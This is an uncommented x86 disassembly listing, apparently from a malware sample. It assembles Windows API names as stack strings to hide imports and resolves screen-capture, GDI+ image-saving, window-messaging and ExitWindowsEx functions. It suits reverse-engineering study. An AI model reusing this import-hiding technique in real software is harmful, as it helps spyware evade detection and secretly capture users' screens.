mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x4f
mov byte [esp + 0x1c], 0x62
mov byte [esp + 0x1d], 0x6a
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x22], 0
call edi
mov dword [esi + 0x15c], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x42
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x42
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x160], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x63
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x62
mov byte [esp + 0x20], 0x6a
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x164], eax
push edx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x43
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x43
mov byte [esp + 0x2a], 0
call edi
mov dword [esi + 0x168], eax
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x14], 0x74
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x43
mov byte [esp + 0x17], 0x6f
lea eax, [esp + 0x10]
mov byte [esp + 0x18], 0x6d
push eax
push ebp
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x42
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x6d
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2d], 0x70
mov byte [esp + 0x2e], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x16c], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x170], eax
push edx
push ebp
mov byte [esp + 0x18], 0x44
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0
call edi
mov dword [esi + 0x174], eax
lea eax, [esp + 0xd8]
push eax
mov byte [esp + 0xdc], 0x47
mov byte [esp + 0xdd], 0x44
mov byte [esp + 0xde], 0x49
mov byte [esp + 0xdf], 0x50
mov byte [esp + 0xe0], 0x4c
mov byte [esp + 0xe1], 0x55
mov byte [esp + 0xe2], 0x53
mov byte [esp + 0xe3], 0x2e
mov byte [esp + 0xe4], 0x44
mov byte [esp + 0xe5], 0x4c
mov byte [esp + 0xe6], 0x4c
mov byte [esp + 0xe7], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x70
mov byte [esp + 0x14], 0x47
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x49
mov byte [esp + 0x18], 0x6d
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x67
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x63
mov byte [esp + 0x1f], 0x6f
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0x64
push ecx
push ebp
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x178], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x47
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x67
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x45
mov byte [esp + 0x25], 0x6e
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x7a
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0
call edi
mov dword [esi + 0x17c], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x44
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x70
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x49
mov byte [esp + 0x24], 0x6d
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x67
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0
call edi
mov dword [esi + 0x180], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x70
mov byte [esp + 0x14], 0x53
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], 0x76
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x49
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x67
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x54
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x46
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], bl
lea ecx, [esp + 0x10]
mov byte [esp + 0x23], 0
push ecx
push ebp
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x184], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x4c
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x49
mov byte [esp + 0x21], 0x6d
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x67
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
call edi
mov dword [esi + 0x188], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x75
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x53
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x75
mov byte [esp + 0x25], 0x70
mov byte [esp + 0x26], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x18c], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x75
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x53
mov byte [esp + 0x20], 0x68
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x77
mov byte [esp + 0x26], 0x6e
mov byte [esp + 0x27], 0
call edi
mov dword [esi + 0x190], eax
mov byte [esp + 0xd8], 0x55
mov byte [esp + 0xd9], 0x53
mov byte [esp + 0xda], 0x45
mov byte [esp + 0xdb], 0x52
mov byte [esp + 0xdc], 0x33
mov byte [esp + 0xdd], 0x32
mov byte [esp + 0xde], 0x2e
lea edx, [esp + 0xd8]
mov byte [esp + 0xdf], 0x44
push edx
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0x4c
mov byte [esp + 0xe6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x54
mov byte [esp + 0x22], 0x68
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x64
mov byte [esp + 0x27], 0x50
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x2e], 0x49
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x30], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x194], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], 0x45
mov byte [esp + 0x24], 0x78
mov byte [esp + 0x25], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x198], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x54
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x78
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0
call edi
mov dword [esi + 0x19c], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x57
lea eax, [esp + 0x10]
mov byte [esp + 0x14], 0x69
push eax
push ebp
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0x67
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1a0], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1a4], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x44
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x22], 0x57
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x77
mov byte [esp + 0x28], 0
call edi
mov dword [esi + 0x1a8], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x50
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x4d
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x67
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov dword [esi + 0x1ac], eax
mov byte [esp + 0x10], 0x46
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x6e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], 0x6e
mov byte [esp + 0x17], 0x64
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x77
lea ecx, [esp + 0x10]
mov byte [esp + 0x1a], 0x41
push ecx
push ebp
mov byte [esp + 0x23], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1b0], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x4d
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0
call edi
mov dword [esi + 0x1b4], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x44
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x79
mov byte [esp + 0x1f], 0x57
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x6e
mov byte [esp + 0x22], 0x64
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x77
mov byte [esp + 0x25], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1b8], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x4d
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x67
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1bc], eax
push edx
push ebp
mov byte [esp + 0x18], 0x49
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x57
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x77
mov byte [esp + 0x20], 0
call edi
mov dword [esi + 0x1c0], eax
mov byte [esp + 0x10], 0x50
lea eax, [esp + 0x10]
mov byte [esp + 0x11], 0x6f
push eax
push ebp
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x54
mov byte [esp + 0x1d], 0x68
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x4d
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x27], 0x67
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x41
mov byte [esp + 0x2a], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1c4], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x4d
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x67
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call edi
lea edx, [esp + 0xd8]
mov dword [esi + 0x1c8], eax
push edx
mov byte [esp + 0xdc], 0x4d
mov byte [esp + 0xdd], 0x53
mov byte [esp + 0xde], 0x56
mov byte [esp + 0xdf], 0x43
mov byte [esp + 0xe0], 0x52
mov byte [esp + 0xe1], 0x54
mov byte [esp + 0xe2], 0x2e
mov byte [esp + 0xe3], 0x44
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0x4c
mov byte [esp + 0xe6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x70
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x66
mov byte [esp + 0x1f], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1cc], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0
call edi
mov dword [esi + 0x1d0], eax
mov byte [esp + 0x10], 0x73
lea edx, [esp + 0x10]
mov byte [esp + 0x11], 0x74
push edx
push ebp
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0
call edi
mov dword [esi + 0x1d4], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0x79
mov byte [esp + 0x1e], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1d8], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x63
mov byte [esp + 0x1d], 0x68
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1dc], eax
push edx
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0
call edi
mov dword [esi + 0x1e0], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x68
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1e4], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x6d
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1e8], eax
push edx
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0
push ebp
call edi
mov dword [esi + 0x1ec], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x72
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1f0], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x77
mov byte [esp + 0x19], 0x63
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1f4], eax
push edx
push ebp
mov byte [esp + 0x18], 0x70
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x77
mov byte [esp + 0x1b], 0
call edi
mov dword [esi + 0x1f8], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x5f
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x1fc], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x5f
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x77
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x200], eax
push edx
push ebp
mov byte [esp + 0x18], 0x5f
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x73
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0
call edi
mov dword [esi + 0x204], eax
lea eax, [esp + 0x10]
mov byte [esp + 0x10], 0x73
mov byte [esp + 0x11], 0x74
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x63
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x16], 0
push eax
push ebp
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x208], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x6d
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0
call edi
mov dword [esi + 0x20c], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret